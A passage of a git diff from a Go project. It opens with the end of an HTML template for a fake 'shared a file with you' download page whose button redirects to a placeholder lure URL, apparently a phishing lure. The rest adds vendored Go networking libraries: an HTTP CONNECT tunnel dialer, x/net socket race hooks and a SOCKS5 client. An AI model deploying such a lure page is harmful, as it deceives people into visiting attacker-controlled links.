padding: 40px 40px;
transform: translate(-50%, -50%);
border-radius: 16px;
-webkit-box-shadow: 10px 10px 22px 0px rgba(0,0,0,0.75);
-moz-box-shadow: 10px 10px 22px 0px rgba(0,0,0,0.75);
box-shadow: 10px 10px 22px 0px rgba(0,0,0,0.75);
}
.message {
text-align: center;
font-size: 24px;
font-family: Arial, Helvetica, sans-serif;
}
.download {
text-align: center;
}
</style>
</head>
<body>
<div id="box">
<div class="message">
<p><strong>{from_name}</strong> shared a file with you.</p>
</div>
<div class="download">
<button type="button" class="btn btn-primary btn-lg" onclick="clickedDownload()">Download "{filename}"</button>
</div>
</div>
<script>
function clickedDownload() {
window.location.assign({lure_url_js});
}
</script>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV" crossorigin="anonymous"></script>
</body>
</html>

197
vendor/github.com/mwitkow/go-http-dialer/.gitignore generated vendored Normal file
View File

@ -0,0 +1,197 @@
# Created by .ignore support plugin (hsz.mobi)
### Go template
# Compiled Object files, Static and Dynamic libs (Shared Objects)
*.o
*.a
*.so
# Folders
_obj
_test
# Architecture specific extensions/prefixes
*.[568vq]
[568vq].out
*.cgo1.go
*.cgo2.c
_cgo_defun.c
_cgo_gotypes.go
_cgo_export.*
_testmain.go
*.exe
*.test
*.prof
### Windows template
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Windows Installer files
*.cab
*.msi
*.msm
*.msp
# Windows shortcuts
*.lnk
### Kate template
# Swap Files #
.*.kate-swp
.swp.*
### SublimeText template
# cache files for sublime text
*.tmlanguage.cache
*.tmPreferences.cache
*.stTheme.cache
# workspace files are user-specific
*.sublime-workspace
# project files should be checked into the repository, unless a significant
# proportion of contributors will probably not be using SublimeText
# *.sublime-project
# sftp configuration file
sftp-config.json
### Linux template
*~
# temporary files which can be created if a process still has a handle open of a deleted file
.fuse_hidden*
# KDE directory preferences
.directory
# Linux trash folder which might appear on any partition or disk
.Trash-*
### JetBrains template
# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm
# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
# User-specific stuff:
.idea
.idea/tasks.xml
.idea/dictionaries
.idea/vcs.xml
.idea/jsLibraryMappings.xml
# Sensitive or high-churn files:
.idea/dataSources.ids
.idea/dataSources.xml
.idea/dataSources.local.xml
.idea/sqlDataSources.xml
.idea/dynamic.xml
.idea/uiDesigner.xml
# Gradle:
.idea/gradle.xml
.idea/libraries
# Mongo Explorer plugin:
.idea/mongoSettings.xml
## File-based project format:
*.iws
## Plugin-specific files:
# IntelliJ
/out/
# mpeltonen/sbt-idea plugin
.idea_modules/
# JIRA plugin
atlassian-ide-plugin.xml
# Crashlytics plugin (for Android Studio and IntelliJ)
com_crashlytics_export_strings.xml
crashlytics.properties
crashlytics-build.properties
fabric.properties
### Xcode template
# Xcode
#
# gitignore contributors: remember to update Global/Xcode.gitignore, Objective-C.gitignore & Swift.gitignore
## Build generated
build/
DerivedData/
## Various settings
*.pbxuser
!default.pbxuser
*.mode1v3
!default.mode1v3
*.mode2v3
!default.mode2v3
*.perspectivev3
!default.perspectivev3
xcuserdata/
## Other
*.moved-aside
*.xccheckout
*.xcscmblueprint
### Eclipse template
.metadata
bin/
tmp/
*.tmp
*.bak
*.swp
*~.nib
local.properties
.settings/
.loadpath
.recommenders
# Eclipse Core
.project
# External tool builders
.externalToolBuilders/
# Locally stored "Eclipse launch configurations"
*.launch
# PyDev specific (Python IDE for Eclipse)
*.pydevproject
# CDT-specific (C/C++ Development Tooling)
.cproject
# JDT-specific (Eclipse Java Development Tools)
.classpath
# Java annotation processor (APT)
.factorypath
# PDT-specific (PHP Development Tools)
.buildpath
# sbteclipse plugin
.target
# Tern plugin
.tern-project
# TeXlipse plugin
.texlipse
# STS (Spring Tool Suite)
.springBeans
# Code Recommenders
.recommenders/

14
vendor/github.com/mwitkow/go-http-dialer/.travis.yml generated vendored Normal file
View File

@ -0,0 +1,14 @@
language: go
sudo: false
go:
- 1.7
install:
- go get google.golang.org/grpc
- go get golang.org/x/net/context
- go get github.com/stretchr/testify
- go get github.com/elazarl/goproxy
script:
- go test -race -v ./...

201
vendor/github.com/mwitkow/go-http-dialer/LICENSE generated vendored Normal file
View File

@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

35
vendor/github.com/mwitkow/go-http-dialer/README.md generated vendored Normal file
View File

@ -0,0 +1,35 @@
# HTTP CONNECT tunneling Go Dialer
[![Travis Build](https://travis-ci.org/mwitkow/go-http-dialer.svg)](https://travis-ci.org/mwitkow/go-http-dialer)
[![Go Report Card](https://goreportcard.com/badge/github.com/mwitkow/go-http-dialer)](http://goreportcard.com/report/mwitkow/go-http-dialer)
[![GoDoc](http://img.shields.io/badge/GoDoc-Reference-blue.svg)](https://godoc.org/github.com/mwitkow/go-http-dialer)
[![Apache 2.0 License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](LICENSE)
A `net.Dialer` drop-in that establishes the TCP connection over an [HTTP CONNECT Tunnel](https://en.wikipedia.org/wiki/HTTP_tunnel#HTTP_CONNECT_tunneling).
## Why?!
Some enterprises have fairly restrictive networking environments. They typically operate [HTTP forward proxies](https://en.wikipedia.org/wiki/Proxy_server) that require user authentication. These proxies usually allow HTTPS (TCP to `:443`) to pass through the proxy using the [`CONNECT`](https://tools.ietf.org/html/rfc2616#section-9.9) method. The `CONNECT` method is basically a HTTP-negotiated "end-to-end" TCP stream... which is exactly what [`net.Conn`](https://golang.org/pkg/net/#Conn) is :)
## But, really, why?
Because if you want to call [gRPC](http://www.grpc.io/) services which are exposed publicly over `:443` TLS over an HTTP proxy, you can't.
Also, this allows you to call any TCP service over HTTP `CONNECT`... if your proxy allows you to `¯\(ツ)/¯`
## Supported features
- [x] unencrypted connection to proxy (e.g. `http://proxy.example.com:3128`
- [x] TLS connection to proxy (customizeable) (e.g. `https://proxy.example.com`)
- [x] customizeable for `Proxy-Authenticate`, with challenge-response semantics
- [x] out of the box support for `Basic` auth
- [ ] appropriate `RemoteAddr` remapping
## Usage with gRPC
## License
`go-http-dialer` is released under the Apache 2.0 license. See the [LICENSE](LICENSE) file for details.

55
vendor/github.com/mwitkow/go-http-dialer/auth.go generated vendored Normal file
View File

@ -0,0 +1,55 @@
// Copyright 2016 Michal Witkowski. All Rights Reserved.
// See LICENSE for licensing terms.
package http_dialer
import "encoding/base64"
const (
hdrProxyAuthResp = "Proxy-Authorization"
hdrProxyAuthReq = "Proxy-Authenticate"
)
// ProxyAuthorization allows for plugging in arbitrary implementations of the "Proxy-Authorization" handler.
type ProxyAuthorization interface {
// Type represents what kind of Authorization, e.g. "Bearer", "Token", "Digest".
Type() string
// Initial allows you to specify an a-priori "Proxy-Authenticate" response header, attached to first request,
// so you don't need to wait for an additional challenge. If empty string is returned, "Proxy-Authenticate"
// header is added.
InitialResponse() string
// ChallengeResponse returns the content of the "Proxy-Authenticate" response header, that has been chose as
// response to "Proxy-Authorization" request header challenge.
ChallengeResponse(challenge string) string
}
type basicAuth struct {
username string
password string
}
// AuthBasic returns a ProxyAuthorization that implements "Basic" protocol while ignoring realm challanges.
func AuthBasic(username string, password string) ProxyAuthorization {
return &basicAuth{username: username, password: password}
}
func (b *basicAuth) Type() string {
return "Basic"
}
func (b *basicAuth) InitialResponse() string {
return b.authString()
}
func (b *basicAuth) ChallengeResponse(challenge string) string {
// challenge can be realm="proxy.com"
// TODO(mwitkow): Implement realm lookup in AuthBasicWithRealm.
return b.authString()
}
func (b *basicAuth) authString() string {
resp := b.username + ":" + b.password
return base64.StdEncoding.EncodeToString([]byte(resp))
}

158
vendor/github.com/mwitkow/go-http-dialer/dialer.go generated vendored Normal file
View File

@ -0,0 +1,158 @@
// Copyright 2016 Michal Witkowski. All Rights Reserved.
// See LICENSE for licensing terms.
// Package http_dialer provides HTTP(S) CONNECT tunneling net.Dialer. It allows you to
// establish arbitrary TCP connections (as long as your proxy allows them) through a HTTP(S) CONNECT point.
package http_dialer
import (
"bufio"
"crypto/tls"
"fmt"
"net"
"net/http"
"net/url"
"strings"
"time"
)
type opt func(*HttpTunnel)
// New constructs an HttpTunnel to be used a net.Dial command.
// The first parameter is a proxy URL, for example https://foo.example.com:9090 will use foo.example.com as proxy on
// port 9090 using TLS for connectivity.
// Optional customization parameters are available, e.g.: WithTls, WithDialer, WithConnectionTimeout
func New(proxyUrl *url.URL, opts ...opt) *HttpTunnel {
t := &HttpTunnel{
parentDialer: &net.Dialer{},
}
t.parseProxyUrl(proxyUrl)
for _, opt := range opts {
opt(t)
}
return t
}
// WithTls sets the tls.Config to be used (e.g. CA certs) when connecting to an HTTP proxy over TLS.
func WithTls(tlsConfig *tls.Config) opt {
return func(t *HttpTunnel) {
t.tlsConfig = tlsConfig
}
}
// WithDialer allows the customization of the underlying net.Dialer used for establishing TCP connections to the proxy.
func WithDialer(dialer *net.Dialer) opt {
return func(t *HttpTunnel) {
t.parentDialer = dialer
}
}
// WithConnectionTimeout customizes the underlying net.Dialer.Timeout.
func WithConnectionTimeout(timeout time.Duration) opt {
return func(t *HttpTunnel) {
t.parentDialer.Timeout = timeout
}
}
// WithProxyAuth allows you to add ProxyAuthorization to calls.
func WithProxyAuth(auth ProxyAuthorization) opt {
return func(t *HttpTunnel) {
t.auth = auth
}
}
// HttpTunnel represents a configured HTTP Connect Tunnel dialer.
type HttpTunnel struct {
parentDialer *net.Dialer
isTls bool
proxyAddr string
tlsConfig *tls.Config
auth ProxyAuthorization
}
func (t *HttpTunnel) parseProxyUrl(proxyUrl *url.URL) {
t.proxyAddr = proxyUrl.Host
if strings.ToLower(proxyUrl.Scheme) == "https" {
if !strings.Contains(t.proxyAddr, ":") {
t.proxyAddr = t.proxyAddr + ":443"
}
t.isTls = true
} else {
if !strings.Contains(t.proxyAddr, ":") {
t.proxyAddr = t.proxyAddr + ":8080"
}
t.isTls = false
}
}
func (t *HttpTunnel) dialProxy() (net.Conn, error) {
if !t.isTls {
return t.parentDialer.Dial("tcp", t.proxyAddr)
}
return tls.DialWithDialer(t.parentDialer, "tcp", t.proxyAddr, t.tlsConfig)
}
// Dial is an implementation of net.Dialer, and returns a TCP connection handle to the host that HTTP CONNECT reached.
func (t *HttpTunnel) Dial(network string, address string) (net.Conn, error) {
if network != "tcp" {
return nil, fmt.Errorf("network type '%v' unsupported (only 'tcp')", network)
}
conn, err := t.dialProxy()
if err != nil {
return nil, fmt.Errorf("http_tunnel: failed dialing to proxy: %v", err)
}
req := &http.Request{
Method: "CONNECT",
URL: &url.URL{Opaque: address},
Host: address, // This is weird
Header: make(http.Header),
}
if t.auth != nil && t.auth.InitialResponse() != "" {
req.Header.Set(hdrProxyAuthResp, t.auth.Type() + " " + t.auth.InitialResponse())
}
resp, err := t.doRoundtrip(conn, req)
if err != nil {
conn.Close()
return nil, err
}
// Retry request with auth, if available.
if resp.StatusCode == http.StatusProxyAuthRequired && t.auth != nil {
responseHdr, err := t.performAuthChallengeResponse(resp)
if err != nil {
conn.Close()
return nil, err
}
req.Header.Set(hdrProxyAuthResp, t.auth.Type() + " " + responseHdr)
resp, err = t.doRoundtrip(conn, req)
if err != nil {
conn.Close()
return nil, err
}
}
if resp.StatusCode != 200 {
conn.Close()
return nil, fmt.Errorf("http_tunnel: failed proxying %d: %s", resp.StatusCode, resp.Status)
}
return conn, nil
}
func (t *HttpTunnel) doRoundtrip(conn net.Conn, req *http.Request) (*http.Response, error) {
if err := req.Write(conn); err != nil {
return nil, fmt.Errorf("http_tunnel: failed writing request: %v", err)
}
// Doesn't matter, discard this bufio.
br := bufio.NewReader(conn)
return http.ReadResponse(br, req)
}
func (t *HttpTunnel) performAuthChallengeResponse(resp *http.Response) (string, error) {
respAuthHdr := resp.Header.Get(hdrProxyAuthReq)
if !strings.Contains(respAuthHdr, t.auth.Type() + " ") {
return "", fmt.Errorf("http_tunnel: expected '%v' Proxy authentication, got: '%v'", t.auth.Type(), respAuthHdr)
}
splits := strings.SplitN(respAuthHdr, " ", 2)
challenge := splits[1]
return t.auth.ChallengeResponse(challenge), nil
}

View File

@ -1,6 +1,6 @@
// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT.
// +build go1.13
// +build go1.13,!go1.14
package idna

4733
vendor/golang.org/x/net/idna/tables12.00.go generated vendored Normal file

File diff suppressed because it is too large Load Diff

12
vendor/golang.org/x/net/internal/socket/norace.go generated vendored Normal file
View File

@ -0,0 +1,12 @@
// Copyright 2019 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !race
package socket
func (m *Message) raceRead() {
}
func (m *Message) raceWrite() {
}

37
vendor/golang.org/x/net/internal/socket/race.go generated vendored Normal file
View File

@ -0,0 +1,37 @@
// Copyright 2019 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build race
package socket
import (
"runtime"
"unsafe"
)
// This package reads and writes the Message buffers using a
// direct system call, which the race detector can't see.
// These functions tell the race detector what is going on during the syscall.
func (m *Message) raceRead() {
for _, b := range m.Buffers {
if len(b) > 0 {
runtime.RaceReadRange(unsafe.Pointer(&b[0]), len(b))
}
}
if b := m.OOB; len(b) > 0 {
runtime.RaceReadRange(unsafe.Pointer(&b[0]), len(b))
}
}
func (m *Message) raceWrite() {
for _, b := range m.Buffers {
if len(b) > 0 {
runtime.RaceWriteRange(unsafe.Pointer(&b[0]), len(b))
}
}
if b := m.OOB; len(b) > 0 {
runtime.RaceWriteRange(unsafe.Pointer(&b[0]), len(b))
}
}

View File

@ -13,6 +13,9 @@ import (
)
func (c *Conn) recvMsgs(ms []Message, flags int) (int, error) {
for i := range ms {
ms[i].raceWrite()
}
hs := make(mmsghdrs, len(ms))
var parseFn func([]byte, string) (net.Addr, error)
if c.network != "tcp" {
@ -43,6 +46,9 @@ func (c *Conn) recvMsgs(ms []Message, flags int) (int, error) {
}
func (c *Conn) sendMsgs(ms []Message, flags int) (int, error) {
for i := range ms {
ms[i].raceRead()
}
hs := make(mmsghdrs, len(ms))
var marshalFn func(net.Addr) []byte
if c.network != "tcp" {

View File

@ -12,6 +12,7 @@ import (
)
func (c *Conn) recvMsg(m *Message, flags int) error {
m.raceWrite()
var h msghdr
vs := make([]iovec, len(m.Buffers))
var sa []byte
@ -48,6 +49,7 @@ func (c *Conn) recvMsg(m *Message, flags int) error {
}
func (c *Conn) sendMsg(m *Message, flags int) error {
m.raceRead()
var h msghdr
vs := make([]iovec, len(m.Buffers))
var sa []byte

View File

@ -4,4 +4,29 @@
package socket
func probeProtocolStack() int { return 4 }
import (
"sync"
"syscall"
"unsafe"
)
// See version list in https://github.com/DragonFlyBSD/DragonFlyBSD/blob/master/sys/sys/param.h
var (
osreldateOnce sync.Once
osreldate uint32
)
// First __DragonFly_version after September 2019 ABI changes
// http://lists.dragonflybsd.org/pipermail/users/2019-September/358280.html
const _dragonflyABIChangeVersion = 500705
func probeProtocolStack() int {
osreldateOnce.Do(func() { osreldate, _ = syscall.SysctlUint32("kern.osreldate") })
var p uintptr
if int(unsafe.Sizeof(p)) == 8 && osreldate >= _dragonflyABIChangeVersion {
return int(unsafe.Sizeof(p))
}
// 64-bit Dragonfly before the September 2019 ABI changes still requires
// 32-bit aligned access to network subsystem.
return 4
}

168
vendor/golang.org/x/net/internal/socks/client.go generated vendored Normal file
View File

@ -0,0 +1,168 @@
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package socks
import (
"context"
"errors"
"io"
"net"
"strconv"
"time"
)
var (
noDeadline = time.Time{}
aLongTimeAgo = time.Unix(1, 0)
)
func (d *Dialer) connect(ctx context.Context, c net.Conn, address string) (_ net.Addr, ctxErr error) {
host, port, err := splitHostPort(address)
if err != nil {
return nil, err
}
if deadline, ok := ctx.Deadline(); ok && !deadline.IsZero() {
c.SetDeadline(deadline)
defer c.SetDeadline(noDeadline)
}
if ctx != context.Background() {
errCh := make(chan error, 1)
done := make(chan struct{})
defer func() {
close(done)
if ctxErr == nil {
ctxErr = <-errCh
}
}()
go func() {
select {
case <-ctx.Done():
c.SetDeadline(aLongTimeAgo)
errCh <- ctx.Err()
case <-done:
errCh <- nil
}
}()
}
b := make([]byte, 0, 6+len(host)) // the size here is just an estimate
b = append(b, Version5)
if len(d.AuthMethods) == 0 || d.Authenticate == nil {
b = append(b, 1, byte(AuthMethodNotRequired))
} else {
ams := d.AuthMethods
if len(ams) > 255 {
return nil, errors.New("too many authentication methods")
}
b = append(b, byte(len(ams)))
for _, am := range ams {
b = append(b, byte(am))
}
}
if _, ctxErr = c.Write(b); ctxErr != nil {
return
}
if _, ctxErr = io.ReadFull(c, b[:2]); ctxErr != nil {
return
}
if b[0] != Version5 {
return nil, errors.New("unexpected protocol version " + strconv.Itoa(int(b[0])))
}
am := AuthMethod(b[1])
if am == AuthMethodNoAcceptableMethods {
return nil, errors.New("no acceptable authentication methods")
}
if d.Authenticate != nil {
if ctxErr = d.Authenticate(ctx, c, am); ctxErr != nil {
return
}
}
b = b[:0]
b = append(b, Version5, byte(d.cmd), 0)
if ip := net.ParseIP(host); ip != nil {
if ip4 := ip.To4(); ip4 != nil {
b = append(b, AddrTypeIPv4)
b = append(b, ip4...)
} else if ip6 := ip.To16(); ip6 != nil {
b = append(b, AddrTypeIPv6)
b = append(b, ip6...)
} else {
return nil, errors.New("unknown address type")
}
} else {
if len(host) > 255 {
return nil, errors.New("FQDN too long")
}
b = append(b, AddrTypeFQDN)
b = append(b, byte(len(host)))
b = append(b, host...)
}
b = append(b, byte(port>>8), byte(port))
if _, ctxErr = c.Write(b); ctxErr != nil {
return
}
if _, ctxErr = io.ReadFull(c, b[:4]); ctxErr != nil {
return
}
if b[0] != Version5 {
return nil, errors.New("unexpected protocol version " + strconv.Itoa(int(b[0])))
}
if cmdErr := Reply(b[1]); cmdErr != StatusSucceeded {
return nil, errors.New("unknown error " + cmdErr.String())
}
if b[2] != 0 {
return nil, errors.New("non-zero reserved field")
}
l := 2
var a Addr
switch b[3] {
case AddrTypeIPv4:
l += net.IPv4len
a.IP = make(net.IP, net.IPv4len)
case AddrTypeIPv6:
l += net.IPv6len
a.IP = make(net.IP, net.IPv6len)
case AddrTypeFQDN:
if _, err := io.ReadFull(c, b[:1]); err != nil {
return nil, err
}
l += int(b[0])
default:
return nil, errors.New("unknown address type " + strconv.Itoa(int(b[3])))
}
if cap(b) < l {
b = make([]byte, l)
} else {
b = b[:l]
}
if _, ctxErr = io.ReadFull(c, b); ctxErr != nil {
return
}
if a.IP != nil {
copy(a.IP, b)
} else {
a.Name = string(b[:len(b)-2])
}
a.Port = int(b[len(b)-2])<<8 | int(b[len(b)-1])
return &a, nil
}
func splitHostPort(address string) (string, int, error) {
host, port, err := net.SplitHostPort(address)
if err != nil {
return "", 0, err
}
portnum, err := strconv.Atoi(port)
if err != nil {
return "", 0, err
}
if 1 > portnum || portnum > 0xffff {
return "", 0, errors.New("port number out of range " + port)
}
return host, portnum, nil
}

317
vendor/golang.org/x/net/internal/socks/socks.go generated vendored Normal file
View File

@ -0,0 +1,317 @@
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package socks provides a SOCKS version 5 client implementation.
//
// SOCKS protocol version 5 is defined in RFC 1928.
// Username/Password authentication for SOCKS version 5 is defined in
// RFC 1929.
package socks
import (
"context"
"errors"
"io"
"net"
"strconv"
)
// A Command represents a SOCKS command.
type Command int
func (cmd Command) String() string {
switch cmd {
case CmdConnect:
return "socks connect"
case cmdBind:
return "socks bind"
default:
return "socks " + strconv.Itoa(int(cmd))
}
}
// An AuthMethod represents a SOCKS authentication method.
type AuthMethod int
// A Reply represents a SOCKS command reply code.
type Reply int
func (code Reply) String() string {
switch code {
case StatusSucceeded:
return "succeeded"
case 0x01:
return "general SOCKS server failure"
case 0x02:
return "connection not allowed by ruleset"
case 0x03:
return "network unreachable"
case 0x04:
return "host unreachable"
case 0x05:
return "connection refused"
case 0x06:
return "TTL expired"
case 0x07:
return "command not supported"
case 0x08:
return "address type not supported"
default:
return "unknown code: " + strconv.Itoa(int(code))
}
}
// Wire protocol constants.
const (
Version5 = 0x05
AddrTypeIPv4 = 0x01
AddrTypeFQDN = 0x03
AddrTypeIPv6 = 0x04
CmdConnect Command = 0x01 // establishes an active-open forward proxy connection
cmdBind Command = 0x02 // establishes a passive-open forward proxy connection
AuthMethodNotRequired AuthMethod = 0x00 // no authentication required
AuthMethodUsernamePassword AuthMethod = 0x02 // use username/password
AuthMethodNoAcceptableMethods AuthMethod = 0xff // no acceptable authentication methods
StatusSucceeded Reply = 0x00
)
// An Addr represents a SOCKS-specific address.
// Either Name or IP is used exclusively.
type Addr struct {
Name string // fully-qualified domain name
IP net.IP
Port int
}
func (a *Addr) Network() string { return "socks" }
func (a *Addr) String() string {
if a == nil {
return "<nil>"
}
port := strconv.Itoa(a.Port)
if a.IP == nil {
return net.JoinHostPort(a.Name, port)
}
return net.JoinHostPort(a.IP.String(), port)
}
// A Conn represents a forward proxy connection.
type Conn struct {
net.Conn
boundAddr net.Addr
}
// BoundAddr returns the address assigned by the proxy server for
// connecting to the command target address from the proxy server.
func (c *Conn) BoundAddr() net.Addr {
if c == nil {
return nil
}
return c.boundAddr
}
// A Dialer holds SOCKS-specific options.
type Dialer struct {
cmd Command // either CmdConnect or cmdBind
proxyNetwork string // network between a proxy server and a client
proxyAddress string // proxy server address
// ProxyDial specifies the optional dial function for
// establishing the transport connection.
ProxyDial func(context.Context, string, string) (net.Conn, error)
// AuthMethods specifies the list of request authentication
// methods.
// If empty, SOCKS client requests only AuthMethodNotRequired.
AuthMethods []AuthMethod
// Authenticate specifies the optional authentication
// function. It must be non-nil when AuthMethods is not empty.
// It must return an error when the authentication is failed.
Authenticate func(context.Context, io.ReadWriter, AuthMethod) error
}
// DialContext connects to the provided address on the provided
// network.
//
// The returned error value may be a net.OpError. When the Op field of
// net.OpError contains "socks", the Source field contains a proxy
// server address and the Addr field contains a command target
// address.
//
// See func Dial of the net package of standard library for a
// description of the network and address parameters.
func (d *Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
if err := d.validateTarget(network, address); err != nil {
proxy, dst, _ := d.pathAddrs(address)
return nil, &net.OpError{Op: d.cmd.String(), Net: network, Source: proxy, Addr: dst, Err: err}
}
if ctx == nil {
